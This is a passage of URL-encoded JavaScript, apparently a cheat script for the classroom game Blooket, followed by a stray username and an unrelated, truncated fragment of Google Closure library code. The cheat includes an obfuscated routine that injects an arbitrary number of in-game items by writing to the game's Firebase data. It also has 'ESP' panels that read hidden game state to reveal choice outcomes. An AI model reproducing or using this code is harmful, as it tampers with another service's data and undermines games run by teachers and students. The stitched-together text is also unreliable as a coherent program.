%27dow%27%2C%27fadeO%27%2C%27table%27%2C%27UOLgR%27%2C%27%7C1%7C0%27%2C%27xOdWt%27%2C%27displ%27%2C%27qhwxd%27%2C%27Dcxau%27%2C%27xlKhy%27%2C%27tion%27%2C%27%7C4%7C2%7C%27%2C%271fBDUUT%27%2C%27type%27%2C%27xUgMH%27%2C%27pZqzF%27%2C%27132mFmFVg%27%2C%27%23app%5Cx20%27%2C%27_owne%27%2C%27toStr%27%2C%27rando%27%2C%27promp%27%2C%27%5Cx20>%5Cx20di%27%2C%27Node%27%2C%27ructo%27%2C%27ate%27%2C%27whwTh%27%2C%27error%27%2C%270%7C1%7C3%27%2C%27FSCiQ%27%2C%27buVAS%27%2C%27ODbUo%27%2C%27n%5Cx20(fu%27%2C%27fireb%27%2C%27ase%27%2C%27TsfBH%27%2C%27yprRY%27%2C%27OGQpS%27%2C%274%7C5%7C1%27%2C%270%7C5%7C4%27%2C%27phUDR%27%2C%27224940jDFOgo%27%2C%27name%27%2C%27azntx%27%2C%27state%27%2C%27WcSVj%27%2C%27nextT%27%2C%27ntWin%27%2C%27fhTCF%27%2C%27aOfWI%27%2C%27lVDZV%27%2C%27(((.%2B%27%2C%27trace%27%2C%27ou%5Cx20wa%27%2C%27%5Cx20do%5Cx20y%27%2C%27%7C1%7C3%7C%27%2C%27dChil%27%2C%27wYuuc%27%2C%27AdPxc%27%2C%27iaJsc%27%2C%27%2Fbs%27%2C%27IgUsv%27%2C%27rn%5Cx20th%27%2C%27setSt%27%2C%272872060slWYNk%27%2C%27clien%27%2C%27lccnk%27%2C%27child%27%2C%27%5Cx22retu%27%2C%27ZWnuM%27%2C%27imeou%27%2C%27DncCp%27%2C%27ySmxz%27%2C%27creat%27%2C%27ther%27%2C%27KalYp%27%2C%2748GhOePq%27%2C%274%7C2%7C3%27%2C%27MAkZR%27%2C%27eElem%27%2C%27BomPj%27%2C%27coahb%27%2C%27setVa%27%2C%274519710PlvgRl%27%2C%27excep%27%2C%27style%27%2C%27kTTuC%27%2C%27nstru%27%2C%27tDYOu%27%2C%27ing%27%2C%27canGa%27%2C%27apply%27%2C%27bjGFw%27%2C%27vOdLp%27%2C%27Selec%27%5D%3B_0x18e7%3Dfunction()%7Breturn _0x39f92e%3B%7D%3Breturn _0x18e7()%3B%7D_0x57a558()%3Bvar f%3Ddocument%5B_0x174729(-0x6a%2C-0xab%2C-0x3f%2C-0x39%2C-0x87)%2B_0x1fc344(-0x1f%2C0x13%2C-0x12%2C-0x34%2C-0x1c)%2B_0x174729(-0x6c%2C-0xb7%2C-0x6e%2C-0x7d%2C-0x67)%5D(_0x3cf296(-0x31%2C-0x25%2C-0x6e%2C-0x37%2C-0x6c)%2B%27e%27)%3Bf%5B_0x1fc344(-0x19%2C-0x53%2C-0x56%2C0x43%2C0x42)%5D%5B_0x174729(-0x114%2C-0xd5%2C-0x7d%2C-0xaa%2C-0xca)%2B%27ay%27%5D%3D_0x45f5b2(-0x258%2C-0x28a%2C-0x271%2C-0x256%2C-0x291)%3Bfunction _0x3cf296(_0x116b0c%2C_0x4f33f2%2C_0x4ea234%2C_0x2a9b14%2C_0x1633a6)%7Breturn _0x5416(_0x4ea234- -0x1c1%2C_0x116b0c)%3B%7Dfunction _0x45f5b2(_0x492d5b%2C_0x3bb232%2C_0x3da0cc%2C_0x6e8bee%2C_0x1b67e5)%7Breturn _0x5416(_0x492d5b- -0x3a6%2C_0x3da0cc)%3B%7Dfunction _0x174729(_0x53bc28%2C_0xac81d0%2C_0x48b3d0%2C_0x144145%2C_0x469f18)%7Breturn _0x5416(_0x469f18- -0x1a4%2C_0x48b3d0)%3B%7Ddocument%5B_0x3faf6c(-0x1bf%2C-0x22b%2C-0x1e3%2C-0x1d3%2C-0x199)%5D%5B_0x45f5b2(-0x2f0%2C-0x342%2C-0x2c3%2C-0x302%2C-0x32e)%2B_0x3cf296(-0x69%2C-0xbb%2C-0xb5%2C-0x89%2C-0xfc)%2B%27d%27%5D(f)%3Bfunction _0x3faf6c(_0x439b32%2C_0x242260%2C_0x8def4c%2C_0x5d09ea%2C_0x127d54)%7Breturn _0x5416(_0x5d09ea- -0x30a%2C_0x127d54)%3B%7Dwindow%5B_0x45f5b2(-0x2bd%2C-0x2cb%2C-0x2d2%2C-0x2fa%2C-0x2df)%2B%27t%27%5D%3Df%5B_0x3faf6c(-0x255%2C-0x2a4%2C-0x295%2C-0x251%2C-0x28d)%2B_0x45f5b2(-0x2a3%2C-0x25e%2C-0x2c6%2C-0x263%2C-0x2b3)%2B_0x3faf6c(-0x21f%2C-0x255%2C-0x24b%2C-0x236%2C-0x1eb)%5D%5B_0x1fc344(-0x59%2C-0x9b%2C-0x1e%2C-0x7b%2C-0x2c)%2B%27t%27%5D%3Bvar t%3DObject%5B_0x3faf6c(-0x16b%2C-0x17d%2C-0x1c8%2C-0x1af%2C-0x1c1)%2B%27s%27%5D(document%5B_0x3faf6c(-0x1e0%2C-0x1a7%2C-0x1c6%2C-0x1ce%2C-0x189)%2B_0x3faf6c(-0x234%2C-0x183%2C-0x20c%2C-0x1d8%2C-0x1c0)%2B_0x3faf6c(-0x26f%2C-0x262%2C-0x293%2C-0x239%2C-0x28a)%5D(_0x45f5b2(-0x2c1%2C-0x29d%2C-0x2a0%2C-0x2f3%2C-0x2ac)%2B_0x1fc344(-0x83%2C-0x62%2C-0x37%2C-0xab%2C-0x8a)%2B_0x174729(-0xf2%2C-0x8a%2C-0x92%2C-0xfb%2C-0xba)%2B%27v%27))%5B0x19ac%2B-0xa*0x242%2B0x1*-0x317%5D%5B_0x3cf296(-0xa0%2C-0x5c%2C-0xaa%2C-0xa9%2C-0xc0)%2B_0x1fc344(0xe%2C-0x1c%2C-0x4d%2C-0x4d%2C0x28)%5D%5B-0x1*0x1e91%2B-0xba3%2B-0x2a35*-0x1%5D%5B_0x3faf6c(-0x211%2C-0x23c%2C-0x1d8%2C-0x224%2C-0x203)%2B%27r%27%5D%5B_0x1fc344(-0x42%2C0xc%2C0x1a%2C-0x83%2C-0x39)%2B_0x3faf6c(-0x21b%2C-0x20a%2C-0x1df%2C-0x21f%2C-0x214)%5D%2Camt%3DparseInt(prompt(_0x3faf6c(-0x171%2C-0x1b2%2C-0x1af%2C-0x1c6%2C-0x210)%2B_0x174729(-0x7f%2C-0xa0%2C-0x2d%2C-0x26%2C-0x47)%2B_0x174729(-0x40%2C-0x5c%2C-0x66%2C-0xa8%2C-0x71)%2B_0x1fc344(-0x38%2C-0x39%2C-0x50%2C-0x1b%2C-0x24)%2B_0x3faf6c(-0x25e%2C-0x247%2C-0x1b2%2C-0x201%2C-0x25c)%2B_0x45f5b2(-0x23a%2C-0x200%2C-0x211%2C-0x24f%2C-0x232)%2B_0x45f5b2(-0x2d6%2C-0x2ff%2C-0x2e9%2C-0x31b%2C-0x314)))%3Bamt%26%26(t%5B_0x45f5b2(-0x270%2C-0x272%2C-0x273%2C-0x222%2C-0x25c)%2B%27ng%27%5D%3D!(0x295*-0xb%2B0x1731%2B0x5*0x10b)%2Ct%5B_0x3faf6c(-0x228%2C-0x22e%2C-0x1f6%2C-0x20a%2C-0x1d9)%5D%5B_0x45f5b2(-0x278%2C-0x221%2C-0x2c0%2C-0x227%2C-0x224)%2B_0x3cf296(-0x72%2C-0xe5%2C-0xa3%2C-0xdc%2C-0x58)%5D%3D!!%5B%5D%2Ct%5B_0x174729(-0xd0%2C-0xbf%2C-0x80%2C-0x87%2C-0x91)%2B_0x1fc344(-0x55%2C-0x1e%2C-0xab%2C-0x19%2C-0x94)%5D(%7B%27numBlooks%27%3Aamt%2Bt%5B_0x3faf6c(-0x224%2C-0x204%2C-0x214%2C-0x20a%2C-0x24c)%5D%5B_0x3cf296(-0x12b%2C-0xe7%2C-0x105%2C-0xcf%2C-0xcb)%2B_0x45f5b2(-0x268%2C-0x222%2C-0x22b%2C-0x2b1%2C-0x23e)%5D%7D)%2Ct%5B_0x45f5b2(-0x271%2C-0x22e%2C-0x25a%2C-0x232%2C-0x236)%5D%5B_0x174729(-0xb1%2C-0x56%2C-0x85%2C-0x67%2C-0xaf)%2B_0x3cf296(-0xa9%2C-0xed%2C-0xcb%2C-0x114%2C-0x76)%5D%5B_0x45f5b2(-0x280%2C-0x266%2C-0x2a2%2C-0x247%2C-0x252)%2B%27l%27%5D(%7B%27id%27%3At%5B_0x1fc344(-0xd%2C-0x38%2C0x40%2C-0x44%2C-0x44)%5D%5B_0x174729(-0x84%2C-0x71%2C-0x34%2C-0x8f%2C-0x8f)%2B%27t%27%5D%5B_0x1fc344(-0x8a%2C-0xa1%2C-0xa1%2C-0x80%2C-0x36)%2B%27d%27%5D%2C%27path%27%3A%27a%2F%27%5B_0x1fc344(0x1c%2C0x5a%2C-0x1f%2C0x42%2C0x62)%2B%27t%27%5D(t%5B_0x45f5b2(-0x271%2C-0x282%2C-0x226%2C-0x2c3%2C-0x24d)%5D%5B_0x1fc344(-0x2d%2C-0x7a%2C-0x76%2C-0x7b%2C-0x42)%2B%27t%27%5D%5B_0x45f5b2(-0x2a8%2C-0x2f2%2C-0x2b9%2C-0x2d3%2C-0x25f)%5D%2C_0x3faf6c(-0x1b0%2C-0x1f5%2C-0x1b7%2C-0x1fa%2C-0x1e2))%2C%27val%27%3Aamt%7D)%2Ct%5B_0x3faf6c(-0x24c%2C-0x209%2C-0x23d%2C-0x1f7%2C-0x1e0)%2B_0x3faf6c(-0x1dd%2C-0x272%2C-0x1ef%2C-0x21d%2C-0x23a)%5D(%7B%27prize%27%3A_0x45f5b2(-0x2e3%2C-0x2e5%2C-0x2d5%2C-0x333%2C-0x2ef)%2B%27r%27%2C%27numBlooks%27%3At%5B_0x3faf6c(-0x217%2C-0x1c6%2C-0x221%2C-0x20a%2C-0x1f3)%5D%5B_0x1fc344(-0x86%2C-0xd7%2C-0x57%2C-0x50%2C-0xb1)%2B_0x174729(-0xb0%2C-0x2b%2C-0x1b%2C-0x37%2C-0x66)%5D%2C%27fadeOut%27%3A!(-0x1bd9%2B0x2e9%2B0x18f0)%7D%2Cfunction()%7Bfunction _0x531dab(_0x2313d6%2C_0x4201c5%2C_0x13ea7e%2C_0x89f954%2C_0x315599)%7Breturn _0x3faf6c(_0x2313d6-0x117%2C_0x4201c5-0x97%2C_0x13ea7e-0x1c8%2C_0x13ea7e-0x5fc%2C_0x4201c5)%3B%7Dfunction _0x54d7f0(_0xb0d2a7%2C_0x18c5c9%2C_0x2c6506%2C_0x43b8ac%2C_0x38ea12)%7Breturn _0x3cf296(_0x2c6506%2C_0x18c5c9-0x1ca%2C_0x18c5c9-0xf9%2C_0x43b8ac-0xbe%2C_0x38ea12-0x5b)%3B%7Dfunction _0x1cc482(_0x3eb1c6%2C_0x423d7a%2C_0x5278fb%2C_0x2e6ce2%2C_0x4f72ca)%7Breturn _0x3faf6c(_0x3eb1c6-0x86%2C_0x423d7a-0x3c%2C_0x5278fb-0x199%2C_0x2e6ce2-0x169%2C_0x4f72ca)%3B%7Dvar _0x364e18%3D%7B%27XwhBc%27%3Afunction(_0x3df64c%2C_0x5d6583)%7Breturn _0x3df64c%3D%3D%3D_0x5d6583%3B%7D%2C%27ODbUo%27%3A_0x54d7f0(-0x2a%2C0x3%2C-0x13%2C-0x3c%2C0x43)%2C%27Dcxau%27%3Afunction(_0x13673c%2C_0x4b63fb%2C_0x3d4916)%7Breturn _0x13673c(_0x4b63fb%2C_0x3d4916)%3B%7D%7D%3Bfunction _0xf893f0(_0x3545bf%2C_0x29c2d8%2C_0x22909d%2C_0x16349a%2C_0x2841b9)%7Breturn _0x3faf6c(_0x3545bf-0x12d%2C_0x29c2d8-0x1cc%2C_0x22909d-0xce%2C_0x3545bf-0x5f6%2C_0x16349a)%3B%7Dt%5B_0x1cc482(-0xb1%2C-0x4d%2C-0x55%2C-0x9f%2C-0x9f)%2B_0x1cc482(-0x62%2C-0xd5%2C-0x3f%2C-0x87%2C-0x5f)%2B%27t%27%5D%3D_0x364e18%5B_0x531dab(0x3a6%2C0x3a9%2C0x3ce%2C0x3bb%2C0x3d0)%5D(setTimeout%2Cfunction()%7Bfunction _0x9d78(_0x129567%2C_0x1e9516%2C_0x4b747b%2C_0x3f9c18%2C_0x5d7762)%7Breturn _0x1cc482(_0x129567-0xdf%2C_0x1e9516-0xfd%2C_0x4b747b-0x12%2C_0x1e9516-0x410%2C_0x129567)%3B%7Dfunction _0x4a6b6c(_0x5c1d84%2C_0x4b56f9%2C_0x5c4298%2C_0x409d96%2C_0x2eb082)%7Breturn _0x531dab(_0x5c1d84-0x8b%2C_0x2eb082%2C_0x5c4298- -0xbd%2C_0x409d96-0xd8%2C_0x2eb082-0xcc)%3B%7Dfunction _0x4a4b0d(_0x5c5cf4%2C_0x2b0ab2%2C_0x318e48%2C_0x424d63%2C_0x342b86)%7Breturn _0x54d7f0(_0x5c5cf4-0x161%2C_0x318e48- -0x310%2C_0x5c5cf4%2C_0x424d63-0x1e9%2C_0x342b86-0x1e2)%3B%7Dfunction _0x44093b(_0x21199a%2C_0x440f5d%2C_0x5263b3%2C_0x4a5411%2C_0x4db65c)%7Breturn _0x531dab(_0x21199a-0x1b1%2C_0x440f5d%2C_0x4a5411- -0x1a0%2C_0x4a5411-0xb%2C_0x4db65c-0x19d)%3B%7Dfunction _0x335831(_0xc62ab8%2C_0x304cc4%2C_0x3faa79%2C_0x5f49de%2C_0xf84659)%7Breturn _0x531dab(_0xc62ab8-0x73%2C_0x5f49de%2C_0xf84659-0xa5%2C_0x5f49de-0x12d%2C_0xf84659-0x1a0)%3B%7Dif(_0x364e18%5B_0x4a4b0d(-0x335%2C-0x330%2C-0x31d%2C-0x340%2C-0x319)%5D(_0x364e18%5B_0x4a4b0d(-0x2f1%2C-0x30f%2C-0x2e5%2C-0x301%2C-0x2a7)%5D%2C_0x364e18%5B_0x4a6b6c(0x31c%2C0x34c%2C0x328%2C0x37e%2C0x33d)%5D))t%5B_0x4a6b6c(0x344%2C0x350%2C0x31d%2C0x2c5%2C0x333)%2B%27mQ%27%5D()%3Belse%7Bif(_0x28d099)%7Bvar _0x2d85a2%3D_0x3c92e5%5B_0x335831(0x4f6%2C0x51a%2C0x4c2%2C0x470%2C0x4c6)%5D(_0x2bfe14%2Carguments)%3Breturn _0x320ad3%3Dnull%2C_0x2d85a2%3B%7D%7D%7D%2C0x1ab6%2B0x2425%2B-0x3d19*0x1)%3B%7D))%3B%0A %7D)%0A getdefense.addEventListener(%27click%27%2C () %3D> %7B %0A%0A %7D) %0A break%3B%0A%0A %7D%0A %7D%0A%7D%0A%0Afunction kingesp() %7B%0A function ChoiceUII() %7B%0A let element %3D document.createElement(%27div%27)%3B%0A element.innerHTML %3D %60<div id%3D"espp"><style>details>summary%7Bcursor%3Apointer%3Btransition%3A1s%3Blist-style%3Acircle%7D.button%7Bfont-size%3A1rem%7D<%2Fstyle><div style%3D"padding-top%3A2px%3Bfont-size%3A1.5rem%3Btext-align%3Acenter">Choice ESP<%2Fdiv><br><details open><summary style%3D"padding%3A10px%3Bfont-size%3A1.5em%3Bfont-weight%3Abolder">Yes%3A<%2Fsummary><div id%3D"c1h" class%3D"button"><%2Fdiv><div id%3D"c1p" class%3D"button"><%2Fdiv><div id%3D"c1g" class%3D"button"><%2Fdiv><div id%3D"c1m" class%3D"button"><%2Fdiv><%2Fdetails><details open><summary style%3D"padding%3A10px%3Bfont-size%3A1.5em%3Bfont-weight%3Abolder">No%3A<%2Fsummary><div id%3D"c2h" class%3D"button"><%2Fdiv><div id%3D"c2p" class%3D"button"><%2Fdiv><div id%3D"c2g" class%3D"button"><%2Fdiv><div id%3D"c2m" class%3D"button"><%2Fdiv><%2Fdetails><br><button id%3D"close" style%3D"width%3A130px%3Bheight%3A30px%3Bcursor%3Apointer%3Bbackground%3A%23333%3Bborder-radius%3A22px%3Bborder%3Anone%3Bfont-size%3A1rem"><b>Close ESP<%2Fb><%2Fbutton><br><div style%3D"font-size%3A.8rem">ui by <a href%3D"https%3A%2F%2F">Sharp (Toad_UI)<%2Fa><%2Fdiv><%2Fdiv>%60%3B%0A element.style %3D %60width%3A 200px%3B background%3A rgb(31%2C 25%2C 30)%3B border-radius%3A 13px%3B position%3A absolute%3B text-align%3A center%3B font-family%3A Nunito%3B color%3A white%3B overflow%3A hidden%3B top%3A 5%25%3B left%3A 40%25%3B%60%3B%0A document.body.appendChild(element)%3B%0A var pos1 %3D 0%2C%0A pos2 %3D 0%2C%0A pos3 %3D 0%2C%0A pos4 %3D 0%3B%0A element.onmousedown %3D ((e %3D window.event) %3D> %7B%0A e.preventDefault()%3B%0A pos3 %3D e.clientX%3B%0A pos4 %3D e.clientY%3B%0A document.onmouseup %3D (() %3D> %7B%0A document.onmouseup %3D null%3B%0A document.onmousemove %3D null%3B%0A %7D)%3B%0A document.onmousemove %3D ((e) %3D> %7B%0A e %3D e %7C%7C window.event%3B%0A e.preventDefault()%3B%0A pos1 %3D pos3 - e.clientX%3B%0A pos2 %3D pos4 - e.clientY%3B%0A pos3 %3D e.clientX%3B%0A pos4 %3D e.clientY%3B%0A let top %3D (element.offsetTop - pos2) > 0 %3F (element.offsetTop - pos2) %3A 0%3B%0A let left %3D (element.offsetLeft - pos1) > 0 %3F (element.offsetLeft - pos1) %3A 0%3B%0A element.style.top %3D top %2B "px"%3B%0A element.style.left %3D left %2B "px"%3B%0A %7D)%3B%0A %7D)%3B%0A %7D%0A%0A function closeui() %7B%0A const esp %3D document.getElementById("espp")%0A esp.remove()%3B%0A %7D%0A%0A function addUtils() %7B%0A const exit %3D document.getElementById("close")%0A exit.addEventListener(%27click%27%2C closeui)%3B%0A %7D%0A ChoiceUII()%0A addUtils()%0A%0A function updateChoices() %7B%0A let hack %3D Object.values(document.querySelector(%27%23app > div > div%27))%5B1%5D.children%5B1%5D._owner%0A const no %3D hack.stateNode.state.guest.no%0A const yes %3D hack.stateNode.state.guest.yes%0A const c2gold %3D document.getElementById("c2g")%0A const c2happy %3D document.getElementById("c2h")%0A const c2people %3D document.getElementById("c2p")%0A const c2mats %3D document.getElementById("c2m")%0A const c1gold %3D document.getElementById("c1g")%0A const c1happy %3D document.getElementById("c1h")%0A const c1people %3D document.getElementById("c1p")%0A const c1mats %3D document.getElementById("c1m")%0A updateNo()%3B%0A updateYes()%3B%0A%0A function updateNo() %7B%0A if (no.happiness !%3D null) %7B%0A c2happy.innerHTML %3D %60Happiness%3A %24%7Bno.happiness%7D%60%0A %7D else %7B%0A c2happy.innerHTML %3D null%3B%0A %7D%0A if (no.people !%3D null) %7B%0A c2people.innerHTML %3D %60People%3A %24%7Byes.people%7D%60%0A %7D else %7B%0A c2people.innerHTML %3D null%3B%0A %7D%0A if (no.gold !%3D null) %7B%0A c2gold.innerHTML %3D %60Gold%3A %24%7Bno.gold%7D%60%0A %7D else %7B%0A c2gold.innerHTML %3D null%3B%0A %7D%0A if (no.materials !%3D null) %7B%0A c2mats.innerHTML %3D %60Materials%3A %24%7Bno.materials%7D%60%0A %7D else %7B%0A c2mats.innerHTML %3D null%3B%0A %7D%0A %7D%0A%0A function updateYes() %7B%0A if (yes.happiness !%3D null) %7B%0A c1happy.innerHTML %3D %60Happiness%3A %24%7Byes.happiness%7D%60%0A %7D else %7B%0A c1happy.innerHTML %3D null%3B%0A %7D%0A if (yes.people !%3D null) %7B%0A c1people.innerHTML %3D %60People%3A %24%7Byes.people%7D%60%0A %7D else %7B%0A c1people.innerHTML %3D null%3B%0A %7D%0A if (yes.gold !%3D null) %7B%0A c1gold.innerHTML %3D %60Gold%3A %24%7Byes.gold%7D%60%0A %7D else %7B%0A c1gold.innerHTML %3D null%3B%0A %7D%0A if (yes.materials !%3D null) %7B%0A c1mats.innerHTML %3D %60Materials%3A %24%7Byes.materials%7D%60%0A %7D else %7B%0A c1mats.innerHTML %3D null%3B%0A %7D%0A %7D%0A %7D%0A setInterval(() %3D> %7B%0A const esp %3D document.getElementById("espp")%0A if (esp !%3D null) %7B%0A updateChoices()%3B%0A %7D%0A %7D%2C 500)%3B%0A%7D%0A%0Afunction goldesp() %7B%0A function ChoiceUI() %7B%0A let element %3D document.createElement(%27div%27)%3B%0A element.innerHTML %3D %60<div id%3D"esp"> <div style%3D" padding-top%3A 2px%3B font-size%3A 1.5rem%3B text-align%3A center%3B">Choice ESP<%2Fdiv><div id%3D"c1" style%3D"font-size%3A 1rem%3B">Choice 1%3A<%2Fdiv><div id%3D"c2">Choice 2%3A<%2Fdiv><div id%3D"c3">Choice 3%3A<%2Fdiv><br><button id%3D"close" style%3D"width%3A 130px%3B height%3A 30px%3B cursor%3A pointer%3B background%3A hsl(0%2C 0%25%2C 20%25)%3B border-radius%3A 22px%3B border%3A none%3B font-size%3A 1rem%3B"><b>Close ESP<%2Fb><%2Fbutton><br><br><div style%3D"font-size%3A 0.8rem%3B">ui by <a href%3D"https%3A%2F%2Fgithub.com%2FBlooketware">Blooketware<%2Fa><%2Fdiv><%2Fdiv>%60%3B%0A element.style %3D %60width%3A 200px%3B background%3A rgb(31%2C 25%2C 30)%3B border-radius%3A 13px%3B position%3A absolute%3B text-align%3A center%3B font-family%3A Nunito%3B color%3A white%3B overflow%3A hidden%3B top%3A 5%25%3B left%3A 40%25%3B%60%3B%0A document.body.appendChild(element)%3B%0A var pos1 %3D 0%2C%0A pos2 %3D 0%2C%0A pos3 %3D 0%2C%0A pos4 %3D 0%3B%0A element.onmousedown %3D ((e %3D window.event) %3D> %7B%0A e.preventDefault()%3B%0A pos3 %3D e.clientX%3B%0A pos4 %3D e.clientY%3B%0A document.onmouseup %3D (() %3D> %7B%0A document.onmouseup %3D null%3B%0A document.onmousemove %3D null%3B%0A %7D)%3B%0A document.onmousemove %3D ((e) %3D> %7B%0A e %3D e %7C%7C window.event%3B%0A e.preventDefault()%3B%0A pos1 %3D pos3 - e.clientX%3B%0A pos2 %3D pos4 - e.clientY%3B%0A pos3 %3D e.clientX%3B%0A pos4 %3D e.clientY%3B%0A let top %3D (element.offsetTop - pos2) > 0 %3F (element.offsetTop - pos2) %3A 0%3B%0A let left %3D (element.offsetLeft - pos1) > 0 %3F (element.offsetLeft - pos1) %3A 0%3B%0A element.style.top %3D top %2B "px"%3B%0A element.style.left %3D left %2B "px"%3B%0A %7D)%3B%0A %7D)%3B%0A %7D%0A%0A function closeui() %7B%0A const esp %3D document.getElementById("esp")%0A esp.remove()%3B%0A %7D%0A%0A function addUtilss() %7B%0A const exit %3D document.getElementById("close")%0A exit.addEventListener(%27click%27%2C closeui)%3B%0A %7D%0A ChoiceUI()%0A addUtilss()%0A%0A function updateChoicess() %7B%0A let hack %3D Object.values(document.querySelector(%27%23app > div > div%27))%5B1%5D.children%5B1%5D._owner%0A const choice %3D hack.stateNode.state.choices%0A const c1 %3D document.getElementById("c1")%0A const c2 %3D document.getElementById("c2")%0A const c3 %3D document.getElementById("c3")%0A c1.innerHTML %3D "Choice 1%3A " %2B choice%5B0%5D.text%0A c2.innerHTML %3D "Choice 2%3A " %2B choice%5B1%5D.text%0A c3.innerHTML %3D "Choice 3%3A " %2B choice%5B2%5D.text%0A %7D%0A setInterval(() %3D> %7B%0A updateChoicess()%3B%0A %7D%2C 500)%3B%0A%7D%0A%0Afunction addUtils() %7B%0A handleData("elements")%3B%0A addListeners()%0A CheckGame()%3B%0A%7D%0AaddUtils()%3B%0AsetInterval(() %3D> %7B%0A CheckGame()%3B%0A%7D%2C 10000)%3B%0Awindow.alert("made by Jacob huggins.")%3B%7D)()%3B
vohidjon123
(function(sttc){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var n;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype||a==Object.prototype)return a;a[b]=c.value;return a}; function ca(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var da=ca(this),ea="function"===typeof Symbol&&"symbol"===typeof Symbol("x"),p={},fa={};function r(a,b){var c=fa[b];if(null==c)return a[b];c=a[c];return void 0!==c?c:a[b]} function ha(a,b,c){if(b)a:{var d=a.split(".");a=1===d.length;var e=d[0],f;!a&&e in p?f=p:f=da;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))break a;f=f[g]}d=d[d.length-1];c=ea&&"es6"===c?f[d]:null;b=b(c);null!=b&&(a?ba(p,d,{configurable:!0,writable:!0,value:b}):b!==c&&(void 0===fa[d]&&(a=1E9*Math.random()>>>0,fa[d]=ea?da.Symbol(d):"$jscp$"+a+"$"+d),ba(f,fa[d],{configurable:!0,writable:!0,value:b})))}} ha("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f||"")+"_"+e++,f)}function c(f,g){this.h=f;ba(this,"description",{configurable:!0,writable:!0,value:g})}if(a)return a;c.prototype.toString=function(){return this.h};var d="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",e=0;return b},"es6"); ha("Symbol.iterator",function(a){if(a)return a;a=(0,p.Symbol)("Symbol.iterator");for(var b="Array Int8Array Uint8Array Uint8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),c=0;c<b.length;c++){var d=da[b[c]];"function"===typeof d&&"function"!=typeof d.prototype[a]&&ba(d.prototype,a,{configurable:!0,writable:!0,value:function(){return ia(aa(this))}})}return a},"es6"); function ia(a){a={next:a};a[r(p.Symbol,"iterator")]=function(){return this};return a}function ja(a){return a.raw=a}function u(a){var b="undefined"!=typeof p.Symbol&&r(p.Symbol,"iterator")&&a[r(p.Symbol,"iterator")];return b?b.call(a):{next:aa(a)}}function ka(a){if(!(a instanceof Array)){a=u(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a}function la(a,b){return Object.prototype.hasOwnProperty.call(a,b)} var ma=ea&&"function"==typeof r(Object,"assign")?r(Object,"assign"):function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)la(d,e)&&(a[e]=d[e])}return a};ha("Object.assign",function(a){return a||ma},"es6");var na="function"==typeof Object.create?Object.create:function(a){function b(){}b.prototype=a;return new b},oa; if(ea&&"function"==typeof Object.setPrototypeOf)oa=Object.setPrototypeOf;else{var pa;a:{var qa={a:!0},ra={};try{ra.__proto__=qa;pa=ra.a;break a}catch(a){}pa=!1}oa=pa?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}var sa=oa; function v(a,b){a.prototype=na(b.prototype);a.prototype.constructor=a;if(sa)sa(a,b);else for(var c in b)if("prototype"!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c];a.Ub=b.prototype}function ta(){for(var a=Number(this),b=[],c=a;c<arguments.length;c++)b[c-a]=arguments[c];return b} ha("Promise",function(a){function b(g){this.h=0;this.j=void 0;this.i=[];this.G=!1;var h=this.l();try{g(h.resolve,h.reject)}catch(k){h.reject(k)}}function c(){this.h=null}function d(g){return g instanceof b?g:new b(function(h){h(g)})}if(a)return a;c.prototype.i=function(g){if(null==this.h){this.h=[];var h=this;this.j(function(){h.m()})}this.h.push(g)};var e=da.setTimeout;c.prototype.j=function(g){e(g,0)};c.prototype.m=function(){for(;this.h&&this.h.length;){var g=this.h;this.h=[];for(var h=0;h<g.length;++h){var k= g[h];g[h]=null;try{k()}catch(l){this.l(l)}}}this.h=null};c.prototype.l=function(g){this.j(function(){throw g;})};b.prototype.l=function(){function g(l){return function(m){k||(k=!0,l.call(h,m))}}var h=this,k=!1;return{resolve:g(this.P),reject:g(this.m)}};b.prototype.P=function(g){if(g===this)this.m(new TypeError("A Promise cannot resolve to itself"));else if(g instanceof b)this.U(g);else{a:switch(typeof g){case "object":var h=null!=g;break a;case "function":h=!0;break a;default:h=!1}h?this.O(g):this.A(g)}}; b.prototype.O=function(g){var h=void 0;try{h=g.then}catch(k){this.m(k);return}"function"==typeof h?this.ga(h,g):this.A(g)};b.prototype.m=function(g){this.C(2,g)};b.prototype.A=function(g){this.C(1,g)};b.prototype.C=function(g,h){if(0!=this.h)throw Error("Cannot settle("+g+", "+h+"): Promise already settled in state"+this.h);this.h=g;this.j=h;2===this.h&&this.R();this.H()};b.prototype.R=function(){var g=this;e(function(){if(g.N()){var h=da.console;"undefined"!==typeof h&&h.error(g.j)}},1)};b.prototype.N= function(){if(this.G)return!1;var g=da.CustomEvent,h=da.Event,k=da.dispatchEvent;if("undefined"===typeof k)return!0;"function"===typeof g?g=new g("unhandledrejection",{cancelable:!0}):"function"===typeof h?g=new h("unhandledrejection",{cancelable:!0}):(g=da.document.createEvent("CustomEvent"),g.initCustomEvent("unhandledrejection",!1,!0,g));g.promise=this;g.reason=this.j;return k(g)};b.prototype.H=function(){if(null!=this.i){for(var g=0;g<this.i.length;++g)f.i(this.i[g]);this.i=null}};var f=new c; b.prototype.U=function(g){var h=this.l();g.ia(h.resolve,h.reject)};b.prototype.ga=function(g,h){var k=this.l();try{g.call(h,k.resolve,k.reject)}catch(l){k.reject(l)}};b.prototype.then=function(g,h){function k(t,y){return"function"==typeof t?function(F){try{l(t(F))}catch(z){m(z)}}:y}var l,m,q=new b(function(t,y){l=t;m=y});this.ia(k(g,l),k(h,m));return q};b.prototype.catch=function(g){return this.then(void 0,g)};b.prototype.ia=function(g,h){function k(){switch(l.h){case 1:g(l.j);break;case 2:h(l.j); break;default:throw Error("Unexpected state: "+l.h);}}var 